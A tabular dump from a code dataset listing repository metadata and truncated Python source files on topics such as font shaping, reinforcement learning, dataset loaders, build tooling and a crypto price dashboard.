hexsha stringlengths 40 40 | size int64 2 1.05M | ext stringclasses 9
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 193 | max_stars_repo_name stringlengths 6 109 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 36.6k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 193 | max_issues_repo_name stringlengths 6 109 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 29.8k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 193 | max_forks_repo_name stringlengths 6 109 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 11.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.05M | avg_line_length float64 1 404k | max_line_length int64 1 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d5e7db620dceabe77509e98035e1a3cfb1ae0edb | 11,462 | py | Python | fontFeatures/shaperLib/Buffer.py | simoncozens/fontFeatures | d84359016019a845bf40f13d7afdb9adf813f374 | [
"BSD-3-Clause"
] | 51 | 2020-01-15T09:28:51.000Z | 2022-03-30T06:48:36.000Z | fontFeatures/shaperLib/Buffer.py | simoncozens/fontFeatures | d84359016019a845bf40f13d7afdb9adf813f374 | [
"BSD-3-Clause"
] | 51 | 2020-05-11T18:51:25.000Z | 2021-12-20T12:55:08.000Z | fontFeatures/shaperLib/Buffer.py | simoncozens/fontFeatures | d84359016019a845bf40f13d7afdb9adf813f374 | [
"BSD-3-Clause"
] | 8 | 2020-08-28T20:03:14.000Z | 2021-12-08T01:22:28.000Z | from dataclasses import dataclass
from fontFeatures import ValueRecord
from glyphtools import get_glyph_metrics, categorize_glyph
from youseedee import ucd_data
import sys
import warnings
def _add_value_records(vr1, vr2):
if vr1.xPlacement or vr2.xPlacement:
vr1.xPlacement = (vr1.xPlacement or 0) + (vr2.x... | 34.733333 | 117 | 0.550427 |
d5e7efbe934ec56f29681de373ba6de68cd18fd5 | 9,413 | py | Python | kb_learning/tools/ppo_tools.py | gregorgebhardt/kb_learning | 41e18c1238e0ea891d48aff63588366dae64e4c8 | [
"BSD-3-Clause"
] | null | null | null | kb_learning/tools/ppo_tools.py | gregorgebhardt/kb_learning | 41e18c1238e0ea891d48aff63588366dae64e4c8 | [
"BSD-3-Clause"
] | null | null | null | kb_learning/tools/ppo_tools.py | gregorgebhardt/kb_learning | 41e18c1238e0ea891d48aff63588366dae64e4c8 | [
"BSD-3-Clause"
] | null | null | null | import functools
import numpy as np
import tensorflow as tf
from baselines.common.runners import AbstractEnvRunner
from baselines.common.tf_util import get_session, initialize, save_variables, load_variables
from kb_learning.tools import swap_flatten_01
def traj_segment_generator(pi, env, horizon, stochastic, rende... | 42.981735 | 120 | 0.617125 |
d5e7fb989d229b44b6742adc0d1c0811923ec9f7 | 12,198 | py | Python | TemplateBasedModel/style_marker.py | CenIII/Text-style-transfer-DeleteRetrieve | 2b7aa017765dcae65b42fc94d3ccaddc57ac8661 | [
"MIT"
] | null | null | null | TemplateBasedModel/style_marker.py | CenIII/Text-style-transfer-DeleteRetrieve | 2b7aa017765dcae65b42fc94d3ccaddc57ac8661 | [
"MIT"
] | null | null | null | TemplateBasedModel/style_marker.py | CenIII/Text-style-transfer-DeleteRetrieve | 2b7aa017765dcae65b42fc94d3ccaddc57ac8661 | [
"MIT"
] | null | null | null | from scipy import stats
from scipy.special import psi
from multiprocessing import Process
from sklearn import feature_extraction
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.feature_extraction.text import CountVectorizer
from scipy.spatial.distance import cosine
import numpy as np
... | 37.881988 | 164 | 0.582473 |
d5e82b2072cb7453eb97f48ec5279ef699634328 | 2,997 | py | Python | sphinx/conf.py | cthoyt/sssom-py | 2429f640ce76e1d4116a9affc8042c5488dab7d1 | [
"CC0-1.0"
] | null | null | null | sphinx/conf.py | cthoyt/sssom-py | 2429f640ce76e1d4116a9affc8042c5488dab7d1 | [
"CC0-1.0"
] | null | null | null | sphinx/conf.py | cthoyt/sssom-py | 2429f640ce76e1d4116a9affc8042c5488dab7d1 | [
"CC0-1.0"
] | null | null | null | # Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... | 33.674157 | 81 | 0.702369 |
d5e82bfa728eafe7d04f269513b8d973a9cb2cd3 | 12,337 | py | Python | ninfs/mount/nandhac.py | Jhynjhiruu/ninfs | 9e0f5889cafd595c56e2db936177ef1b0f4ac02e | [
"MIT"
] | 213 | 2019-04-18T04:43:18.000Z | 2022-03-29T06:25:38.000Z | ninfs/mount/nandhac.py | Jhynjhiruu/ninfs | 9e0f5889cafd595c56e2db936177ef1b0f4ac02e | [
"MIT"
] | 55 | 2019-04-20T01:21:26.000Z | 2022-03-26T02:40:17.000Z | ninfs/mount/nandhac.py | Jhynjhiruu/ninfs | 9e0f5889cafd595c56e2db936177ef1b0f4ac02e | [
"MIT"
] | 17 | 2019-05-11T22:15:31.000Z | 2021-10-06T03:46:51.000Z | # This file is a part of ninfs.
#
# Copyright (c) 2017-2021 Ian Burgwin
# This file is licensed under The MIT License (MIT).
# You can find the full license text in LICENSE.md in the root of this project.
import logging
import os
from collections import defaultdict
from errno import ENOENT, EROFS
from inspect import c... | 42.25 | 121 | 0.556213 |
d5e84f6dffad7844cc46dbab77a8bce8b54b64e9 | 2,114 | py | Python | ci/infra/testrunner/tests/driver.py | butsoleg/skuba | 1a363d4f3ca8fc33bfb0284043da26fe879c31a3 | [
"Apache-2.0"
] | null | null | null | ci/infra/testrunner/tests/driver.py | butsoleg/skuba | 1a363d4f3ca8fc33bfb0284043da26fe879c31a3 | [
"Apache-2.0"
] | null | null | null | ci/infra/testrunner/tests/driver.py | butsoleg/skuba | 1a363d4f3ca8fc33bfb0284043da26fe879c31a3 | [
"Apache-2.0"
] | null | null | null | import os
import pytest
FILEPATH = os.path.realpath(__file__)
TESTRUNNER_DIR = os.path.dirname(os.path.dirname(FILEPATH))
class PyTestOpts:
NO_CAPTURE_LOGS = "--show-capture=no"
SHOW_OUTPUT = "-s"
VERBOSE = "-v"
COLLECT_TESTS = "--collect-only"
class TestDriver:
def __init__(self, conf, pl... | 26.759494 | 95 | 0.607379 |
d5e8570756020dfa611d129f06febc42a6ad305b | 13,208 | py | Python | src/onevision/datasets/gopro/gopro.py | phlong3105/onevision | 90552b64df7213e7fbe23c80ffd8a89583289433 | [
"MIT"
] | 2 | 2022-03-28T09:46:38.000Z | 2022-03-28T14:12:32.000Z | src/onevision/datasets/gopro/gopro.py | phlong3105/onevision | 90552b64df7213e7fbe23c80ffd8a89583289433 | [
"MIT"
] | null | null | null | src/onevision/datasets/gopro/gopro.py | phlong3105/onevision | 90552b64df7213e7fbe23c80ffd8a89583289433 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""GoPro dataset and datamodule.
"""
from __future__ import annotations
import glob
import os
import random
from typing import Callable
from typing import Optional
import matplotlib.pyplot as plt
from torch.utils.data import random_split
from onevision.cv import show_i... | 36.688889 | 86 | 0.570715 |
d5e85a67d0b7ac063c0ea07af24550139c5c7472 | 9,047 | py | Python | parlai/core/build_data.py | hengyicai/Adaptive_Multi-curricula_Learning_for_Dialog | e2d2c613ac4075ce023d6b4acb0a5eddac4e7837 | [
"MIT"
] | 17 | 2020-03-27T17:25:52.000Z | 2021-11-19T03:46:25.000Z | parlai/core/build_data.py | hengyicai/Adaptive_Multi-curricula_Learning_for_Dialog | e2d2c613ac4075ce023d6b4acb0a5eddac4e7837 | [
"MIT"
] | 3 | 2020-11-01T10:12:52.000Z | 2021-12-10T09:06:44.000Z | parlai/core/build_data.py | hengyicai/Adaptive_Multi-curricula_Learning_for_Dialog | e2d2c613ac4075ce023d6b4acb0a5eddac4e7837 | [
"MIT"
] | 3 | 2020-05-04T04:37:42.000Z | 2021-07-19T11:09:37.000Z | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
"""
Utilities for downloading and building data.
These can be replaced if your particular file system does not support th... | 34.530534 | 86 | 0.572455 |
d5e860a94f9d8219f233d9ecec4a4176e95d6916 | 2,539 | py | Python | median_downsampler.py | ericmjl/influenza-reassortment | 21b11507be0f72376237c4ad31129d0148a69456 | [
"MIT"
] | null | null | null | median_downsampler.py | ericmjl/influenza-reassortment | 21b11507be0f72376237c4ad31129d0148a69456 | [
"MIT"
] | null | null | null | median_downsampler.py | ericmjl/influenza-reassortment | 21b11507be0f72376237c4ad31129d0148a69456 | [
"MIT"
] | null | null | null | import networkx as nx
import numpy as np
import pandas as pd
import pickle as pkl
import sys
import os
from collections import Counter, defaultdict
from random import sample
class MedianDownsampler(object):
"""
Downsamples the isolates to the median number of isolates per subtype.
Input: A CSV file w... | 29.870588 | 76 | 0.611658 |
d5e86c8f1d8933c5693d04383cb6400f439539c7 | 6,994 | py | Python | python/examples/radar_viz/read.py | Smart-Ag/xviz | 71c4470fdcb5c497793eb53666da6a5feb6832f0 | [
"Apache-2.0"
] | 1 | 2021-06-03T04:02:49.000Z | 2021-06-03T04:02:49.000Z | python/examples/radar_viz/read.py | Smart-Ag/xviz | 71c4470fdcb5c497793eb53666da6a5feb6832f0 | [
"Apache-2.0"
] | null | null | null | python/examples/radar_viz/read.py | Smart-Ag/xviz | 71c4470fdcb5c497793eb53666da6a5feb6832f0 | [
"Apache-2.0"
] | null | null | null | from collections import defaultdict
import numpy as np
from google.protobuf.json_format import MessageToDict
from protobuf_APIs import radar_pb2
from scenarios.utils.gis import polar_to_cartesian, euclidean_distance, \
spherical_to_cartesian
from scenarios.utils.read_protobufs import deserialize_collector_output, \... | 38.855556 | 89 | 0.616957 |
d5e86fd553d221099b77ed8747462cd36c564973 | 52,805 | py | Python | ads/model/generic_model.py | oracle/accelerated-data-science | d594ed0c8c1365daf4cf9e860daebc760fa9a24b | [
"UPL-1.0",
"Apache-2.0"
] | 20 | 2022-02-22T19:07:09.000Z | 2022-03-16T17:21:42.000Z | ads/model/generic_model.py | oracle/accelerated-data-science | d594ed0c8c1365daf4cf9e860daebc760fa9a24b | [
"UPL-1.0",
"Apache-2.0"
] | null | null | null | ads/model/generic_model.py | oracle/accelerated-data-science | d594ed0c8c1365daf4cf9e860daebc760fa9a24b | [
"UPL-1.0",
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*--
# Copyright (c) 2022 Oracle and/or its affiliates.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/
import json
import os
from typing import Any, Callable, Dict, List, Optional, Tuple, Union
import cloudpickle
impo... | 38.713343 | 177 | 0.613465 |
d5e872192a1cec2354c5c952d90b72137110bee6 | 1,103 | py | Python | antarest/study/storage/rawstudy/model/filesystem/root/input/hydro/common/capacity/capacity.py | AntaresSimulatorTeam/antaREST | d686d2a86a52737c211ae67f3cee591f559909f2 | [
"Apache-2.0"
] | 2 | 2020-09-30T11:40:22.000Z | 2020-11-09T09:06:30.000Z | antarest/study/storage/rawstudy/model/filesystem/root/input/hydro/common/capacity/capacity.py | AntaresSimulatorTeam/antaREST | d686d2a86a52737c211ae67f3cee591f559909f2 | [
"Apache-2.0"
] | 542 | 2021-01-11T13:23:47.000Z | 2022-03-31T15:38:10.000Z | antarest/study/storage/rawstudy/model/filesystem/root/input/hydro/common/capacity/capacity.py | AntaresSimulatorTeam/antaREST | d686d2a86a52737c211ae67f3cee591f559909f2 | [
"Apache-2.0"
] | 1 | 2020-10-01T12:18:15.000Z | 2020-10-01T12:18:15.000Z | from antarest.study.storage.rawstudy.model.filesystem.config.model import (
FileStudyTreeConfig,
)
from antarest.study.storage.rawstudy.model.filesystem.folder_node import (
FolderNode,
)
from antarest.study.storage.rawstudy.model.filesystem.inode import TREE
from antarest.study.storage.rawstudy.model.filesyste... | 35.580645 | 89 | 0.631006 |
d5e888839159fed0a67966ef9d568e8c77837c92 | 185 | py | Python | download pdfs from url inside a pdf/download_pdf_link.py | zeserrado-marques/Basic-stuff | 9a2792f208374ddb13a8228e703e240030e61af2 | [
"MIT"
] | 1 | 2020-05-22T19:45:06.000Z | 2020-05-22T19:45:06.000Z | download pdfs from url inside a pdf/download_pdf_link.py | zeserrado-marques/Basic-shit | 62477eaa5c57c4cfca686f28b42d23579a2e4bd2 | [
"MIT"
] | null | null | null | download pdfs from url inside a pdf/download_pdf_link.py | zeserrado-marques/Basic-shit | 62477eaa5c57c4cfca686f28b42d23579a2e4bd2 | [
"MIT"
] | null | null | null | import requests
url = 'https://link.springer.com/content/pdf/10.1007%2F978-3-030-25943-3.pdf'
myfile = requests.get(url)
open('books_springer/test.pdf', 'wb').write(myfile.content)
| 37 | 78 | 0.735135 |
d5e89ab904fe6ba269d35ed5764090548a0502e8 | 5,402 | py | Python | Src/landscape.py | sanjeevmk/GLASS | 91c0954eab87d25d4866fea5c338f79fbca4f79e | [
"MIT"
] | 2 | 2022-03-22T17:36:14.000Z | 2022-03-27T05:03:39.000Z | Src/landscape.py | sanjeevmk/glass | 91c0954eab87d25d4866fea5c338f79fbca4f79e | [
"MIT"
] | null | null | null | Src/landscape.py | sanjeevmk/glass | 91c0954eab87d25d4866fea5c338f79fbca4f79e | [
"MIT"
] | null | null | null | import torch
torch.manual_seed(10)
torch.cuda.manual_seed_all(10)
from torch.autograd import Variable
import header
import init
import sys
import train_parental
import randomSample
import latentSpaceExplore_VanillaHMC,latentSpaceExplore_NUTSHmc
config = sys.argv[1]
training_params,data_classes,network_params,misc_varia... | 36.748299 | 148 | 0.691411 |
d5e8a531ae96e4df325340b391dcf97a9187a7aa | 1,739 | py | Python | edb/pgsql/datasources/introspection/sequences.py | aeros/edgedb | db8c240d1607765799caf124a4b418250e0c0a96 | [
"Apache-2.0"
] | null | null | null | edb/pgsql/datasources/introspection/sequences.py | aeros/edgedb | db8c240d1607765799caf124a4b418250e0c0a96 | [
"Apache-2.0"
] | null | null | null | edb/pgsql/datasources/introspection/sequences.py | aeros/edgedb | db8c240d1607765799caf124a4b418250e0c0a96 | [
"Apache-2.0"
] | null | null | null | #
# This source file is part of the EdgeDB open source project.
#
# Copyright 2008-2010 MagicStack Inc. and the EdgeDB authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://... | 33.442308 | 74 | 0.563542 |
d5e8ae445198d689395bd0a284ea58dd7df77ee5 | 4,908 | py | Python | platforms/softlayer.py | softlayer/stack-dev-tools | 11551f1b3c143b063b1f15d7450b1c5b2ce4b11a | [
"MIT"
] | null | null | null | platforms/softlayer.py | softlayer/stack-dev-tools | 11551f1b3c143b063b1f15d7450b1c5b2ce4b11a | [
"MIT"
] | null | null | null | platforms/softlayer.py | softlayer/stack-dev-tools | 11551f1b3c143b063b1f15d7450b1c5b2ce4b11a | [
"MIT"
] | null | null | null | from os import getenv
from time import time, sleep
from core import Platform, Instance
from SoftLayer import Client
from SoftLayer.CCI import CCIManager
from paramiko import SSHClient
class _SuppressPolicy(object):
def missing_host_key(self, client, hostname, key):
pass
class CCIPlatform(Platform):
... | 34.083333 | 79 | 0.579055 |
d5e8ba6496fc7f32dad2b612080241088167cd26 | 339 | py | Python | lottery/migrations/0004_remove_progresstask_is_finish.py | eethan1/IMnight2018_Backend | 39780f737e57763fdfb171c4687a375d3c5a4bb0 | [
"Apache-2.0"
] | null | null | null | lottery/migrations/0004_remove_progresstask_is_finish.py | eethan1/IMnight2018_Backend | 39780f737e57763fdfb171c4687a375d3c5a4bb0 | [
"Apache-2.0"
] | null | null | null | lottery/migrations/0004_remove_progresstask_is_finish.py | eethan1/IMnight2018_Backend | 39780f737e57763fdfb171c4687a375d3c5a4bb0 | [
"Apache-2.0"
] | 4 | 2018-01-27T06:01:41.000Z | 2018-02-21T12:18:35.000Z | # Generated by Django 2.0 on 2018-03-03 07:33
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('lottery', '0003_progresstask_is_finish'),
]
operations = [
migrations.RemoveField(
model_name='progresstask',
name='is_finish'... | 18.833333 | 51 | 0.60767 |
d5e8c08a473d02747dfa1bc6f785ac07e547f89d | 4,272 | py | Python | process/tests/common.py | seants/integrations-core | 1e5548915fc24f1bbd095e845f0940c22992b09c | [
"BSD-3-Clause"
] | 4 | 2021-06-21T19:21:49.000Z | 2021-06-23T21:21:55.000Z | process/tests/common.py | seants/integrations-core | 1e5548915fc24f1bbd095e845f0940c22992b09c | [
"BSD-3-Clause"
] | null | null | null | process/tests/common.py | seants/integrations-core | 1e5548915fc24f1bbd095e845f0940c22992b09c | [
"BSD-3-Clause"
] | 1 | 2021-06-21T19:21:51.000Z | 2021-06-21T19:21:51.000Z | # (C) Datadog, Inc. 2018
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
CHECK_NAME = 'process'
PROCESS_METRIC = [
'system.processes.involuntary_ctx_switches',
'system.processes.ioread_bytes',
'system.processes.ioread_count',
'system.processes.iowrite_bytes',
'syst... | 29.260274 | 77 | 0.425094 |
d5e8d2a4488987f6ea2f402bce560179ac362bf6 | 187 | py | Python | src/pomodoro/api/__init__.py | christopher-burke/pomodoro | e80171e259de50682875e562c2d2bb4b37ffcd2b | [
"MIT"
] | null | null | null | src/pomodoro/api/__init__.py | christopher-burke/pomodoro | e80171e259de50682875e562c2d2bb4b37ffcd2b | [
"MIT"
] | null | null | null | src/pomodoro/api/__init__.py | christopher-burke/pomodoro | e80171e259de50682875e562c2d2bb4b37ffcd2b | [
"MIT"
] | null | null | null | """ Application commands common to all interfaces.
"""
from .cmd1 import main as cmd1
from .start import main as start
from .cmd2 import main as cmd2
__all__ = "cmd1", "cmd2", "start"
| 18.7 | 50 | 0.716578 |
d5e8df36b881f35be5171a7f7ad9835467290549 | 23,439 | py | Python | crypto_dashboard.py | rcsmit/newagebullshitgenerator | 04a0cb8f464b37aa786564f43c38efd95b6ef9de | [
"MIT"
] | null | null | null | crypto_dashboard.py | rcsmit/newagebullshitgenerator | 04a0cb8f464b37aa786564f43c38efd95b6ef9de | [
"MIT"
] | null | null | null | crypto_dashboard.py | rcsmit/newagebullshitgenerator | 04a0cb8f464b37aa786564f43c38efd95b6ef9de | [
"MIT"
] | null | null | null | #https://medium.com/the-financial-journal/the-million-dollar-algorithm-straight-from-wall-street-3f88a62e3e0a
import yfinance as yf
import pandas as pd
import numpy as np
import plotly.graph_objects as go
import streamlit as st
from scipy import stats
def get_data(choice, period, interval):
ticker = yf.Tickers(c... | 34.317716 | 180 | 0.580016 |
d5e8e71108ec5c4b004fabe669114719e815881b | 310 | py | Python | Problems/1647/solve.py | luanshiyinyang/LCNotes | 093b109aefd65c2263f59472f7118059d7eeb256 | [
"MIT"
] | 3 | 2021-09-04T05:24:20.000Z | 2022-02-19T08:31:28.000Z | Problems/1647/solve.py | luanshiyinyang/LCNotes | 093b109aefd65c2263f59472f7118059d7eeb256 | [
"MIT"
] | null | null | null | Problems/1647/solve.py | luanshiyinyang/LCNotes | 093b109aefd65c2263f59472f7118059d7eeb256 | [
"MIT"
] | null | null | null | class Solution:
def minDeletions(self, s: str) -> int:
stats = list(collections.Counter(s).values())
res = 0
for i in range(len(stats)):
while stats[i] > 0 and stats[i] in stats[:i] + stats[i+1:]:
stats[i] -= 1
res += 1
return res | 34.444444 | 71 | 0.490323 |
d5e90e0026a4a60ab544b00936a0d8a2090123df | 3,846 | py | Python | nirvana/models/higher_order.py | briandigiorgio/NIRVANA | fe36e085d990f5b8b203a6138fa4ce89fcce3899 | [
"BSD-3-Clause"
] | 1 | 2022-03-31T03:40:46.000Z | 2022-03-31T03:40:46.000Z | nirvana/models/higher_order.py | briandigiorgio/NIRVANA | fe36e085d990f5b8b203a6138fa4ce89fcce3899 | [
"BSD-3-Clause"
] | 2 | 2021-02-11T11:31:44.000Z | 2021-10-06T00:00:17.000Z | nirvana/models/higher_order.py | briandigiorgio/NIRVANA | fe36e085d990f5b8b203a6138fa4ce89fcce3899 | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
from .beam import smear, ConvolveFFTW
from ..data.util import unpack
from .geometry import projected_polar
def bisym_model(args, paramdict, plot=False, relative_pab=False):
'''
Evaluate a bisymmetric velocity field model for given parameters.
The model for this is a second order nonaxi... | 43.213483 | 126 | 0.657046 |
d5e911c81f338e97e7fff5710f0db28eeaca5210 | 12,688 | py | Python | dataparallel.py | Dreaming0823/pytorch-distributed | b5ca961aac3e85a55221ed448dca9f59c51d47ff | [
"MIT"
] | 1,117 | 2019-12-20T16:59:46.000Z | 2022-03-31T20:01:20.000Z | dataparallel.py | Dreaming0823/pytorch-distributed | b5ca961aac3e85a55221ed448dca9f59c51d47ff | [
"MIT"
] | 18 | 2019-12-25T07:30:42.000Z | 2022-01-06T09:49:55.000Z | dataparallel.py | Dreaming0823/pytorch-distributed | b5ca961aac3e85a55221ed448dca9f59c51d47ff | [
"MIT"
] | 232 | 2019-12-25T14:47:59.000Z | 2022-03-23T09:50:33.000Z | import csv
import argparse
import os
import random
import shutil
import time
import warnings
import torch
import torch.nn as nn
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.distributed as dist
import torch.optim
import torch.multiprocessing as mp
import torch.utils.data
import torch.util... | 33.301837 | 88 | 0.535939 |
d5e952c5b5dabdccd747c4b54f081b71ace7190c | 13,414 | py | Python | tests/python/pants_test/backend/jvm/tasks/test_junit_run.py | dturner-tw/pants | 3a04f2e46bf2b8fb0a7999c09e4ffdf9057ed33f | [
"Apache-2.0"
] | null | null | null | tests/python/pants_test/backend/jvm/tasks/test_junit_run.py | dturner-tw/pants | 3a04f2e46bf2b8fb0a7999c09e4ffdf9057ed33f | [
"Apache-2.0"
] | null | null | null | tests/python/pants_test/backend/jvm/tasks/test_junit_run.py | dturner-tw/pants | 3a04f2e46bf2b8fb0a7999c09e4ffdf9057ed33f | [
"Apache-2.0"
] | 1 | 2019-06-10T17:24:34.000Z | 2019-06-10T17:24:34.000Z | # coding=utf-8
# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
unicode_literals, with_statement)
import os
import sub... | 35.39314 | 100 | 0.654615 |
d5e962b99af1e5039c1a355f2c3fd89f42f0bc3a | 14,388 | py | Python | neutron/db/quota/driver.py | kklimonda/neutron | ccdddad358a4bf802d59b3fbbfe88a1e9881c96c | [
"Apache-2.0"
] | null | null | null | neutron/db/quota/driver.py | kklimonda/neutron | ccdddad358a4bf802d59b3fbbfe88a1e9881c96c | [
"Apache-2.0"
] | null | null | null | neutron/db/quota/driver.py | kklimonda/neutron | ccdddad358a4bf802d59b3fbbfe88a1e9881c96c | [
"Apache-2.0"
] | null | null | null | # Copyright 2011 OpenStack Foundation.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless req... | 46.263666 | 79 | 0.646302 |
d5e9a7d9f828d1672d5a9fd35b3c0698b922481b | 54,436 | py | Python | flickr.py | chenusc11/flickr-crawl_James_Clarke | fe991d9a62f58f2570a978689c1aac92e6322c09 | [
"MIT"
] | 10 | 2017-11-06T05:19:48.000Z | 2021-10-05T04:48:00.000Z | flickr.py | chenusc11/flickr-crawl_James_Clarke | fe991d9a62f58f2570a978689c1aac92e6322c09 | [
"MIT"
] | null | null | null | flickr.py | chenusc11/flickr-crawl_James_Clarke | fe991d9a62f58f2570a978689c1aac92e6322c09 | [
"MIT"
] | 2 | 2018-12-23T10:47:02.000Z | 2021-10-05T04:48:02.000Z | """
flickr.py
Copyright 2004-2006 James Clarke <james@jamesclarke.info>
Portions Copyright 2007-2008 Joshua Henderson <joshhendo@gmail.com>
THIS SOFTWARE IS SUPPLIED WITHOUT WARRANTY OF ANY KIND, AND MAY BE
COPIED, MODIFIED OR DISTRIBUTED IN ANY WAY, AS LONG AS THIS NOTICE
AND ACKNOWLEDGEMENT OF AUTHORSHIP... | 36.1701 | 129 | 0.607172 |
d5e9c87e8be9bceec7a7691ad8ca5ee3bbde1767 | 627 | py | Python | frappe/patches/v11_0/create_contact_for_user.py | bopopescu/indictrans_frappe | 2ae931b4b1d9cb2af9eb69c9276afb9755bfe31c | [
"MIT"
] | 1 | 2019-07-04T13:33:49.000Z | 2019-07-04T13:33:49.000Z | frappe/patches/v11_0/create_contact_for_user.py | sagarvora/frappe | 8450afaa97c2a0f046eddaa493a88c2b4eb9dd5a | [
"MIT"
] | 7 | 2020-03-24T18:15:04.000Z | 2022-02-10T20:52:45.000Z | frappe/patches/v11_0/create_contact_for_user.py | sagarvora/frappe | 8450afaa97c2a0f046eddaa493a88c2b4eb9dd5a | [
"MIT"
] | 2 | 2019-07-12T06:29:20.000Z | 2020-07-24T03:13:03.000Z | from __future__ import unicode_literals
import frappe
from frappe.core.doctype.user.user import create_contact
import re
def execute():
""" Create Contact for each User if not present """
frappe.reload_doc('contacts', 'doctype', 'contact')
users = frappe.get_all('User', filters={"name": ('not in', 'Administrator, ... | 36.882353 | 99 | 0.714514 |
d5e9c933be5cb8c4d15d6f4b6d790dc31b7528c5 | 10,737 | py | Python | tests/process_arguments_test.py | measiala/PUMS_Data_Dictionary | 6c36f018eeb93174a5e260416ad443ee17e0fc58 | [
"MIT"
] | 1 | 2021-08-28T09:01:49.000Z | 2021-08-28T09:01:49.000Z | tests/process_arguments_test.py | measiala/PUMS_Data_Dictionary | 6c36f018eeb93174a5e260416ad443ee17e0fc58 | [
"MIT"
] | null | null | null | tests/process_arguments_test.py | measiala/PUMS_Data_Dictionary | 6c36f018eeb93174a5e260416ad443ee17e0fc58 | [
"MIT"
] | null | null | null | #!/usr/bin/python3
import pytest
from process_arguments import *
class fakeparse:
def __init__(self,yyyy,period):
self.yyyy = yyyy
self.period = period
self.ifile = ''
self.outdir = ''
self.replace = False
args = fakeparse(2017,1)
def create_file(filename):
file = op... | 33.977848 | 89 | 0.652044 |
d5e9cc6ec2e86dbcf598015645e66be222a9a2bb | 1,062 | py | Python | Algorithms/landsat_cloud_score.py | monocilindro/qgis-earthengine-examples | 82aea8926d34ed3f4ad4a4a345ddbd225819d28f | [
"MIT"
] | 646 | 2019-12-03T06:09:03.000Z | 2022-03-28T03:37:08.000Z | Algorithms/landsat_cloud_score.py | csaybar/qgis-earthengine-examples | ba8942683834d2847ff3246bdd1859b36e50fe44 | [
"MIT"
] | 10 | 2019-12-30T03:42:44.000Z | 2021-05-22T07:34:07.000Z | Algorithms/landsat_cloud_score.py | csaybar/qgis-earthengine-examples | ba8942683834d2847ff3246bdd1859b36e50fe44 | [
"MIT"
] | 219 | 2019-12-06T02:20:53.000Z | 2022-03-30T15:14:27.000Z | import ee
from ee_plugin import Map
# Load a cloudy Landsat scene and display it.
cloudy_scene = ee.Image('LANDSAT/LC08/C01/T1_TOA/LC08_044034_20140926')
Map.centerObject(cloudy_scene)
Map.addLayer(cloudy_scene, {'bands': ['B4', 'B3', 'B2'], 'max': 0.4}, 'TOA', False)
# Add a cloud score band. It is automatically ... | 35.4 | 83 | 0.718456 |
d5e9d9bb6f1d9d2222a3781cae27a08a097684df | 19,463 | py | Python | Florence/TimeIntegrators/ExplicitStructuralDynamicIntegrator.py | jdlaubrie/florence | 830dca4a34be00d6e53cbec3007c10d438b27f57 | [
"MIT"
] | null | null | null | Florence/TimeIntegrators/ExplicitStructuralDynamicIntegrator.py | jdlaubrie/florence | 830dca4a34be00d6e53cbec3007c10d438b27f57 | [
"MIT"
] | null | null | null | Florence/TimeIntegrators/ExplicitStructuralDynamicIntegrator.py | jdlaubrie/florence | 830dca4a34be00d6e53cbec3007c10d438b27f57 | [
"MIT"
] | null | null | null | from __future__ import print_function
import gc, os, sys
import numpy as np
import scipy as sp
import numpy.linalg as la
import scipy.linalg as sla
from numpy.linalg import norm
from time import time
from copy import deepcopy
from warnings import warn
from time import time
from Florence.FiniteElements.Assembly import ... | 52.040107 | 140 | 0.643015 |
d5e9da4b07e262ce14789cc84f57dabc40c2c3f4 | 673 | py | Python | tests/python/pants_test/option/util/fakes.py | mpopenko-exos/pants | 47d27037c8b13291fc9023e56ddd1b1defdf1b8e | [
"Apache-2.0"
] | null | null | null | tests/python/pants_test/option/util/fakes.py | mpopenko-exos/pants | 47d27037c8b13291fc9023e56ddd1b1defdf1b8e | [
"Apache-2.0"
] | 1 | 2018-09-04T17:37:34.000Z | 2018-09-04T19:42:58.000Z | tests/python/pants_test/option/util/fakes.py | mpopenko-exos/pants | 47d27037c8b13291fc9023e56ddd1b1defdf1b8e | [
"Apache-2.0"
] | null | null | null | # Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from pants.testutil.option.fakes import _FakeOptionValues as _FakeOptionValues # noqa
from pants.testutil.option.fakes import (
_options_registration_function as _options_registration_f... | 42.0625 | 86 | 0.835067 |
